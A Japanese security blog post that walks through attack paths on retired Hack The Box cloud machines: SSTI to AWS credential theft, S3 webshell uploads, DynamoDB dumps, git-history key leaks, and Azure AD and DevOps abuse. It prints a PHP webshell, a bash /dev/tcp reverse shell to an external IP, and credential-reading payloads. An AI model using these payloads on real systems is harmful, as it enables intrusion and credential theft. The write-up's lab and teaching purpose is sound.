blog of morioka12

morioka12のブログ (Security Blog)

HTB Cloud 問題の攻撃手法まとめ

1. はじめに

こんにちは、morioka12 です。

本稿では、Hack The Box の Labs にある Retired な Machines の中で、Cloud に関する問題をピックアップして攻撃手法やセキュリティ視点での特徴について紹介します。

また、同様に 2021年の CTF のイベントで Cloud に関する問題は、以下のブログで紹介しているので、良ければこちらもご覧ください。

scgajge12.hatenablog.com

1.1 調査対象

今回の対象となるマシンは、以下のような条件で全て調査して選んでいます。

  • 現時点(2022.10.13)で Retired になっているマシン
  • Cloud に関する要素を取り入れているマシン

Machine List

1.2 Public Cloud Service

本ブログに記載があるサービス名


2. AWS (Amazon Web Services)

2.1 Gobox

このマシンは、EC2 上に 脆弱な Go で書かれた Web サイトに脆弱性があり、脆弱性攻撃(SSTI)によって EC2 からクレデンシャルを取得し、クレデンシャルに書き込み権限付きで紐付いた S3 バケットを悪用して侵入していく問題でした。

問題では、「Forgot Password」のページに SSTI (Server-Side Template Injection)があり、以下のようなペイロードで挙動を確認することができます。

{{ . }} 
{{printf "%s" "ssti" }}
{{html "ssti"}}
{{js "ssti"}} 

実際に確認してみると、以下のように使用可能なプロパティが出力されます(恐らくメールアドレスとパスワード)。

POST /forgot/ HTTP/1.1
Host: 10.10.11.113:8080
 ...

email={{ . }} 
 Email Sent To: {1 ippsec@hacking.esports ippsSecretPassword}

得た情報を元にログインをすると、Go で書かれたソースコードを含むページが表示され、そこに悪用できそうな関数があることがわかります。

 ...
func (u User) DebugCmd(test string) string {
    ipp := strings.Split(test, " ")
    bin := strings.Join(ipp[:1], " ")
    args := strings.Join(ipp[1:], " ")
    if len(args) > 0 {
        out, _ := exec.Command(bin, args).CombinedOutput()
        return string(out)
    } else {
        out, _ := exec.Command(bin).CombinedOutput()
        return string(out)
    }
}
 ...

この関数 DebugCmd に OS コマンドを引数で付けた状態で直接 SSTI で呼び出すことができ、RCE することが可能です。

クラウド視点では、任意のコマンドが SSTI によって可能なため EC2 上から IAM のクレデンシャルを取得することができます。

AWS の場合、ホストでは ~/.aws/credentials~/.aws/config にクレデンシャルが格納してある場合があります。

今回は、以下のようにリクエストを投げることで、aws_access_key_idaws_secret_access_key を取得することができます。

POST /forgot/ HTTP/1.1
Host: 10.10.11.113:8080
 ...

email={{ .DebugCmd "cat ~/.aws/credentials" }} 
 Email Sent To:  [default]
aws_access_key_id=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz
aws_secret_access_key=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz

また、Go の場合、直接的に {{.System "id"}}{{}.File "/etc/passwd"} などで任意のコマンドを行うことができる可能性があるため、今回のような用意された関数がなくても SSTI で任意コマンドでクレデンシャルを取得できる可能性はあります。

入手したクレデンシャルを元に権限を調べると Web サイトで使われている S3 バケットが紐付いていることが確認できます。

$ aws s3 ls --endpoint-url http://10.10.11.113:4566 
2021-08-26 12:14:44 website

更にこの S3 バケットに対して書き込み権限が付与されているため、PHP の WebShell を作成してアップロードすることができます。

$ aws s3 cp /tmp/.hoge s3://website/hoge.php --endpoint-url http://10.10.11.113:4566 

アップロードしたファイル先に Web サイトからアクセスすると実行できていることが確認できるため、そこからシェルも取得することができます。

その結果、サーバーに侵入して更に侵害していくことが可能です。

また、別の方法でリバースシェルなどでホストに侵入した後に、以下のようにクレデンシャルを取得して操作できるため、なんだかの形で侵入できたら確認してみるとクレデンシャルを得れる可能性もあります。

> cat ~/.aws/credentials
[default]
aws_access_key_id=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz
aws_secret_access_key=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz

> aws s3 ls
2021-08-26 16:14:44 website

> aws s3 ls website
PRE css/
2021-09-07 07:32:42    1294778 bottom.png
2021-09-07 07:32:42     165551 header.png
2021-09-07 07:32:42          5 index.html
2021-09-07 07:32:42       1803 index.php

writeup

reference

2.2 Bucket

このマシンは、匿名アクセスが許可された S3 バケットを悪用してサーバーに侵入し、サーバー内のデータベースで使われていた DynamoDB に対して認証なしでデータの書き換えをすることで侵害していく問題でした。

問題では、対象の Web サイトのソースコードに以下のように S3 というワードが入ったサブドメインに画像が格納されていることが確認できます。

<img src="http://s3.bucket.htb/adserver/images/bug.jpg" alt="Bug" height="160" width="160">

s3.bucket.htb に対してディレクトリの列挙をすると /health というパスがあることがわかり、アクセスすると S3 と DynamoDB が動いていることが確認できます。

以下のように AWS CLI で S3 にアクセスしてみると、クレデンシャルなしでバケットにアクセスすることができました。

$ aws s3 ls --endpoint-url http://s3.bucket.htb
2021-02-02 06:36:03 adserver

$ aws s3 ls s3://adserver --endpoint-url http://s3.bucket.htb
                           PRE images/
2021-02-02 06:38:04       5344 index.html

$ aws s3 ls s3://adserver/images/ --endpoint-url http://s3.bucket.htb
2021-02-02 06:40:04      37840 bug.jpg
2021-02-02 06:40:04      51485 cloud.png
2021-02-02 06:40:04      16486 malware.png

これにより、このバケット(s3.bucket.htb)は、匿名アクセスが許可されていることがわかります。

更に適当なファイルを用意し、aws s3 cp でファイルをアップロードしてみると、無事にバケットに対してアップロードできることが確認できます。

$ echo "Test file" > test.html

$ aws s3 cp test.html s3://adserver/test.html --endpoint-url http://s3.bucket.htb
upload: ./test.html to s3://adserver/test.html

$ aws s3 ls s3://adserver/ --endpoint-url http://s3.bucket.htb
                           PRE images/
2021-02-02 06:42:13         10 test.html
2021-02-02 06:42:04       5344 index.html

そのため、このバケットには、書き込み権限も匿名アクセスで許可されていることがわかります。

また、PHP ファイルを同様にアップロードして Web サイトにアクセスすると PHP が実行されていることが確認できます。

そのため、Webshell を作成し、S3 バケットにアップロードすることで、任意のコマンドを実行することができ、シェルを取得することができます。

$ cat /opt/shells/php/cmd.php
<?php system($_REQUEST["cmd"]); ?>

$ aws s3 cp /opt/shells/php/cmd.php s3://adserver/ --endpoint-url http://s3.bucket.htb
upload: /opt/shells/php/cmd.php to s3://adserver/cmd.php

$ curl http://bucket.htb/cmd.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl http://bucket.htb/cmd.php --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.14/443 0>&1'"

次に、サーバーに侵入した後にソースコードを探ると、db.php に DynamoDB のクレデンシャルが記載されていました。

ホストから AWS CLI でアクセスしてみると、権限の不備で以下のようにテーブルにアクセスすることが可能です。

$ aws dynamodb list-tables --endpoint-url http://s3.bucket.htb
{
    "TableNames": [
        "users"
    ]
}

$ aws dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb
{
    "Items": [
        {
            "password": {
                "S": "Management@#1@#"
            },
            "username": {
                "S": "Mgmt"
            }
        },
        {
            "password": {
                "S": "Welcome123!"
            },
            "username": {
                "S": "Cloudadm"
            }
        },
        {
            "password": {
                "S": "n2vM-<_K_Q:.Aa2"
            },
            "username": {
                "S": "Sysadm"
            }
        }
    ],
    "Count": 3,
    "ScannedCount": 3,
    "ConsumedCapacity": null
}

そのため、DynamoDB には認証なしでアクセスでき、テーブル内のユーザー情報を取得することができます。

あとは、CrackMapExec などを使って、入手したユーザー情報で SSH などの接続をテストして、成功すれば侵入することができます。

また、今回は DynamoDB の書き込み権限等も許可されていたため、侵入後に更に DynamoDB のテーブルを悪用することで権限昇格することができました。

$ aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url http://s3.bucket.htb

$ aws dynamodb put-item --table-name alerts --item '{"title":{"S":"Ransomware"},"data":{"S":"This is a test"}}' --endpoint-url http://s3.bucket.htb

writeup

reference

2.3 Epsilon

このマシンは、.git ファイルからクレデンシャルを取得し、Lambda 関数にアクセスすることで更に関数のファイルを取得し、得た Lambda 関数のソースコードからシークレットな秘密鍵を入手することで、対象の Web サイトから侵入していく問題でした。

問題では、対象の Web サイトのパスに /.git ディレクトリがあり、GitTools を使うことでダウンロードして中身を確認することができます。

$ /opt/GitTools/Dumper/gitdumper.sh http://10.10.11.134/.git/ .
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#                                           
# Developed and maintained by @gehaxelt from @internetwache
#                                              
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########                   


[*] Destination folder does not exist
[+] Creating ./.git/                   
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description                        
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
 ...
[+] Downloaded: objects/8d/3b52e153c7d5380b183bbbb51f5d4020944630
[+] Downloaded: objects/fe/d7ab97cf361914f688f0e4f2d3adfafd1d7dca
[+] Downloaded: objects/54/5f6fe2204336c1ea21720cbaa47572eb566e34

$ ls -la
total 12
drwxrwx--- 1 root vboxsf 4096 Mar  9 19:18 .
drwxrwx--- 1 root vboxsf 4096 Mar  9 19:16 ..
drwxrwx--- 1 root vboxsf 4096 Mar  9 19:18 .git

そして git status で削除されているファイルがあることを確認して、最後のコミット状態に戻して表示します。

$ git status 
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        deleted:    server.py
        deleted:    track_api_CR_148.py

no changes added to commit (use "git add" and/or "git commit -a")

$ git reset --hard
HEAD is now at c622771 Fixed Typo

$ git status 
On branch master
nothing to commit, working tree clean

$ ls -l
total 8
-rw-rw-r-- 1 oxdf oxdf 1670 Mar  9 19:23 server.py
-rw-rw-r-- 1 oxdf oxdf 1099 Mar  9 19:23 track_api_CR_148.py

2つの Python ファイルが見つかり確認してみると、track_api_CR_148.py に Lambda とやり取りするコードが記載してありました。

import io
import os
from zipfile import ZipFile
from boto3.session import Session

session = Session(
    aws_access_key_id='<aws_access_key_id>',
    aws_secret_access_key='<aws_secret_access_key>',
    region_name='us-east-1',
    endpoint_url='http://cloud.epsilon.htb')
aws_lambda = session.client('lambda')

def files_to_zip(path):
    for root, dirs, files in os.walk(path):
        for f in files:
            full_path = os.path.join(root, f)
            archive_name = full_path[len(path) + len(os.sep):]
            yield full_path, archive_name

def make_zip_file_bytes(path):
    buf = io.BytesIO()
    with ZipFile(buf, 'w') as z:
        for full_path, archive_name in files_to_zip(path=path):
            z.write(full_path, archive_name)
    return buf.getvalue()

def update_lambda(lambda_name, lambda_code_path):
    if not os.path.isdir(lambda_code_path):
        raise ValueError('Lambda directory does not exist: {0}'.format(lambda_code_path))
    aws_lambda.update_function_code(
        FunctionName=lambda_name,
        ZipFile=make_zip_file_bytes(path=lambda_code_path))

さらに git log でコミットログを確認すると、4つのコミットがあることがわかり、AWS のクレデンシャルが削除されていることが確認できます。

$ git log --oneline 
c622771 (HEAD -> master) Fixed Typo
b10dd06 Adding Costume Site
c514416 Updating Tracking API
7cf92a7 Adding Tracking API Module

$ git diff b10dd06 c622771
diff --git a/track_api_CR_148.py b/track_api_CR_148.py
index 545f6fe..8d3b52e 100644
--- a/track_api_CR_148.py
+++ b/track_api_CR_148.py
@@ -8,8 +8,8 @@ session = Session(
     aws_access_key_id='<aws_access_key_id>',
     aws_secret_access_key='<aws_secret_access_key>',
     region_name='us-east-1',
-    endpoint_url='http://cloud.epsilong.htb')
-aws_lambda = session.client('lambda')    
+    endpoint_url='http://cloud.epsilon.htb')
+aws_lambda = session.client('lambda')

$ git diff 7cf92a7 c514416
diff --git a/track_api_CR_148.py b/track_api_CR_148.py
index fed7ab9..545f6fe 100644
--- a/track_api_CR_148.py
+++ b/track_api_CR_148.py
@@ -5,8 +5,8 @@ from boto3.session import Session
 
 
 session = Session(
-    aws_access_key_id='AQLA5M37BDN6FJP76TDC',
-    aws_secret_access_key='OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A',
+    aws_access_key_id='<aws_access_key_id>',
+    aws_secret_access_key='<aws_secret_access_key>',
     region_name='us-east-1',
     endpoint_url='http://cloud.epsilong.htb')
 aws_lambda = session.client('lambda') 

これで .git から AWS のクレデンシャルを入手することができます。

次に入手したクレデンシャルをホストにセットして、AWS CLI で直接 Lambda 関数を調べます。

$ aws lambda list-functions --endpoint-url=http://cloud.epsilon.htb 
{
    "Functions": [
        {
            "FunctionName": "costume_shop_v1",
            "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
            "Runtime": "python3.7",
            "Role": "arn:aws:iam::123456789012:role/service-role/dev",
            "Handler": "my-function.handler",
            "CodeSize": 478,
            "Description": "",
            "Timeout": 3,
            "LastModified": "2022-03-09T18:40:07.722+0000",
            "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
            "Version": "$LATEST",
            "VpcConfig": {},
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "8dc3e57d-61f2-45c6-af28-a45947aca34f",
            "State": "Active",
            "LastUpdateStatus": "Successful"
        }
    ]
}

$ aws lambda get-function --function-name=costume_shop_v1 --endpoint-url=http://cloud.epsilon.htb 
{
    "Configuration": {
        "FunctionName": "costume_shop_v1",
        "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
        "Runtime": "python3.7",
        "Role": "arn:aws:iam::123456789012:role/service-role/dev",
        "Handler": "my-function.handler",
        "CodeSize": 478,
        "Description": "",
        "Timeout": 3,
        "LastModified": "2022-03-09T18:40:07.722+0000",
        "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
        "Version": "$LATEST",
        "VpcConfig": {},
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "8dc3e57d-61f2-45c6-af28-a45947aca34f",
        "State": "Active",
        "LastUpdateStatus": "Successful"
    },
    "Code": {
        "Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
    },
    "Tags": {}
}

出力結果より、Code で関数のソースコードディレクトリを記載してあるので、これをダウンロードして中身を確認してみます。

$ wget http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code

$ file code 
code: Zip archive data, at least v2.0 to extract

$ unzip code
Archive:  code
  inflating: lambda_function.py  

すると Lambda 関数の Pythonソースコードを入手することができました。

import json

secret='RrXCv`mrNe!K!4+5`wYq' #apigateway authorization for CR-124

'''Beta release for tracking'''
def lambda_handler(event, context):
    try:
        id=event['queryStringParameters']['order_id']
        if id:
            return {
               'statusCode': 200,
               'body': json.dumps(str(resp)) #dynamodb tracking for CR-342
            }
        else:
            return {
                'statusCode': 500,
                'body': json.dumps('Invalid Order ID')
            }
    except:
        return {
                'statusCode': 500,
                'body': json.dumps('Invalid Order ID')
            }

そして、ソースコードからシークレットな秘密鍵(secret)を入手することができます。

あとは、対象の Web サイトに対して先ほどの秘密鍵で JWT の改竄をして管理者としてアクセスし、管理者画面にある脆弱性(SSTI)でリバースシェルをしてサーバーに侵入していきます。

writeup

reference


3. その他

3.1 Azure (Microsoft Azure)

Azure に関しては、Azure Active Directory や Azure DevOps を使ったマシンがありました。

Monteverde

まず、Nmap でポートスキャンをすることで AD のポートが開いていることが確認できます。

$ nmap 10.10.10.172 -p- --min-rate 10000 -oA scans/nmap-alltcp 
 ...
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49673/tcp open  unknown
49702/tcp open  unknown
49771/tcp open  unknown

$ nmap 10.10.10.172 -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV -oA scans/nmap-tcpscripts 
 ...
PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-01-18 22:18:09Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf        .NET Message Framing
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=1/18%Time=5E2381D3%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
 ...

他のも enum4linuxrpcclient などのツールで情報収集を行い、開いているポートに対してもアクセスをします。

そこで SMB にアクセスしてみると、いくつか情報を得ることができ、深ぼってみると azure.xml というファイルを得ることができました。

$ smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs
[+] IP: 10.10.10.172:445        Name: 10.10.10.172                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        azure_uploads                                           READ ONLY
        C$                                                      NO ACCESS       Default share
        E$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        SYSVOL                                                  READ ONLY       Logon server share 
        users$                                                  READ ONLY

$ smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs -R 'users$'
[+] Finding open SMB ports....
[+] User SMB session established on 10.10.10.172...
[+] IP: 10.10.10.172:445        Name: 10.10.10.172                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        .                                                  
        dr--r--r--                0 Fri Jan  3 08:12:48 2020    .
        dr--r--r--                0 Fri Jan  3 08:12:48 2020    ..
        dr--r--r--                0 Fri Jan  3 08:15:23 2020    dgalanos
        dr--r--r--                0 Fri Jan  3 08:41:18 2020    mhope
        dr--r--r--                0 Fri Jan  3 08:14:56 2020    roleary
        dr--r--r--                0 Fri Jan  3 08:14:28 2020    smorgan
        users$                                                  READ ONLY
        .\
        dr--r--r--                0 Fri Jan  3 08:12:48 2020    .
        dr--r--r--                0 Fri Jan  3 08:12:48 2020    ..
        dr--r--r--                0 Fri Jan  3 08:15:23 2020    dgalanos
        dr--r--r--                0 Fri Jan  3 08:41:18 2020    mhope
        dr--r--r--                0 Fri Jan  3 08:14:56 2020    roleary
        dr--r--r--                0 Fri Jan  3 08:14:28 2020    smorgan
        .\mhope\
        dr--r--r--                0 Fri Jan  3 08:41:18 2020    .
        dr--r--r--                0 Fri Jan  3 08:41:18 2020    ..
        -w--w--w--             1212 Fri Jan  3 09:59:24 2020    azure.xml

$ smbclient -U SABatchJobs //10.10.10.172/users$ SABatchJobs -c 'get mhope/azure.xml azure.xml'
getting file \mhope\azure.xml of size 1212 as azure.xml (24.7 KiloBytes/sec) (average 24.7 KiloBytes/sec)

azure.xml ファイルの中身を見てみると、パスワードが含まれていました。

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
  </Obj>
</Objs>

そこで crackmapexec などで使って侵入してシェルを取得していきます。

$ crackmapexec winrm 10.10.10.172 -u mhope -p '4n0therD4y@n0th3r$'
WINRM       10.10.10.172    5985   MONTEVERDE       [*] http://10.10.10.172:5985/wsman
WINRM       10.10.10.172    5985   MONTEVERDE       [+] MEGABANK\mhope:4n0therD4y@n0th3r$ (Pwn3d!)

$ evil-winrm.rb -i 10.10.10.172 -u mhope -p '4n0therD4y@n0th3r$'

Info: Starting Evil-WinRM shell v1.7

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\mhope\Documents>

次に先ほど SMB にアクセスした際に azure_uploads というのも共有されていたため、その辺りも調べてみます。

*Evil-WinRM* PS C:\> net user mhope
User name                    mhope
Full Name                    Mike Hope
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/2/2020 3:40:05 PM
Password expires             Never
Password changeable          1/3/2020 3:40:05 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script                 
User profile                 
Home directory               \\monteverde\users$\mhope
Last logon                   1/18/2020 11:05:46 AM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Azure Admins         *Domain Users         
The command completed successfully.

*Evil-WinRM* PS C:\Program Files> ls *Azure*

    Directory: C:\Program Files

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         1/2/2020   2:51 PM                Microsoft Azure Active Directory Connect
d-----         1/2/2020   3:37 PM                Microsoft Azure Active Directory Connect Upgrader
d-----         1/2/2020   3:02 PM                Microsoft Azure AD Connect Health Sync Agent
d-----         1/2/2020   2:53 PM                Microsoft Azure AD Sync         

すると関連したプログラムが多くあることがわかります。

そこから更に情報収集し、evil-winrm を使ってファイルを直接アップロードしたり、Azure AD Sync のプログラムを変更することで権限昇格をしていく問題となっていました。

Worker

まずは、Nmap でポートスキャンをします。

$ nmap 10.10.10.203 -p 80,3690,5985 -sC -sV -oA scans/nmap-tcpscripts 
 ...
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3690/tcp open  svnserve Subversion
5985/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.27 seconds

また、ポートが開いている SVN に対して情報収集を行うと moved.txt というファイルが見つかり、http://devops.worker.htb というサブドメインの記載がありました。

$ svn checkout svn://10.10.10.203
 ...

$ ls -la
total 13
drwxrwx--- 1 root vboxsf    0 Aug 21 13:08 .
drwxrwx--- 1 root vboxsf 4096 Aug 21 13:07 ..
drwxrwx--- 1 root vboxsf 4096 Aug 21 13:08 dimension.worker.htb
-rwxrwx--- 1 root vboxsf  162 Aug 21 13:08 moved.txt
drwxrwx--- 1 root vboxsf 4096 Aug 21 13:07 .svn

$ cat moved.txt
This repository has been migrated and will no longer be maintaned here.
You can find the latest version at: http://devops.worker.htb

アクセスしてみるとログインが必要のためそれらのユーザー情報をどこかで取得する必要があります。

次に Subversion のコミットログを確認すると、ハードコーディングされたユーザー情報を得ることができました。

$ svn diff -r2
 ...
$user = "nathen"                                                                  
$plain = "wendel98"  

それらを活用して先ほどの devops.worker.htb にログインすることができました。

すると Azure DevOps の環境にアクセスすることができ、様々な機能を悪用することができます。

  • Boards
  • Repos
  • Pipelines
  • Test Plans
  • Artifact

そこからは、GUI 上で新しいブランチを作って悪意のあるファイルをアップロードすることで、更に侵入していく問題でした。

writeup

詳しくは、writeup をご覧ください。

3.2 Fortress

他にも、Hack The Box にある Labs の FortressAWS に関するペネトレーションコンテンツがあります。(取り組むにはランクが Hacker 以上でなければできません)

主に以下のようなスキルを学ぶことができます。

  • Web Application Pentesting
  • Forensics & Reversing
  • Cloud Exploitation
  • Active Directory Abuse


4. まとめ

これまでの紹介をセキュリティ視点で簡単にまとめると、以下のような感じになります。

  • 仮想マシン (VM インスタンス)
    • SSTI などの脆弱性が Web サイトにある場合、脆弱性攻撃によってクレデンシャルを取得できる可能性がある
      • もしくは、サーバーに侵入できた場合、直接クレデンシャルを得れる可能性もある
  • オブジェクトストレージ
    • バケットの書き込み権限が許可されている場合、悪意のあるファイル(Webshell)のアップロードによって、対象の Web サイトに侵入できる可能性がある
  • データベース
    • テーブルの閲覧権限や書き込み権限が許可されている場合、ユーザー情報などのアカウント情報を取得できる可能性がある
  • サーバーレスコンピューティング
    • ソースコードにハードコーディングでクレデンシャルを埋め込んでいる場合、ソースコードを取得して更にクレデンシャルを取得できる可能性がある
  • その他
    • .git ファイル等にクレデンシャルが含まれている可能性がある

また、CTF での方でも似たようにまとめがあるので、良ければ以下のリンクから参照ください。

scgajge12.hatenablog.com


5. 終わりに

本稿では、Hack The Box の Labs にある Retired な Machines の中で、Cloud に関する問題をピックアップして攻撃手法やセキュリティ視点での特徴について紹介しました。

HTB におけるクラウド視点では、いかにクラウド環境のクレデンシャルを取得できるかで、取得できる情報量やアプローチの仕方が変わってくると思います。ぜひ、ペンテストの際は、クラウド視点でも気にして探ってみてください。

ここまでお読みいただきありがとうございました。